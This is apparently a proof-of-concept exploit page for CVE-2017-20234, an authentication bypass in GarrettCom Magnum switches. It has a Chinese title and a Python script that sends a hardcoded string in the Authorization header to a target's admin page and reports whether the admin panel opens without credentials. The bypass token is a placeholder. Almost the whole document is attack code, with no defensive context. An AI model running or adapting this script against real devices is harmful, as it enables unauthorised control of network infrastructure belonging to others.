CVE-2017-20234 GarrettCom交换机认证绕过漏洞

import requests # Target configuration target_ip = "<TARGET_IP>" target_url = f"http://{target_ip}/index.html" # Admin interface URL # The hardcoded string used for bypass (Example value, replace with actual token) bypass_header_value = "HARDCODED_AUTH_STRING" # Prepare headers with the hardcoded bypass string headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Authorization": bypass_header_value, # Injection point for the bypass "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" } try: # Send request to the target response = requests.get(target_url, headers=headers, timeout=10) # Check if access was granted (e.g., HTTP 200 OK and presence of admin content) if response.status_code == 200 and ("Magnum" in response.text or "Configuration" in response.text): print("[+] Authentication bypass successful!") print("[+] Admin panel accessible without credentials.") else: print("[-] Failed to bypass authentication or target is not vulnerable.") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")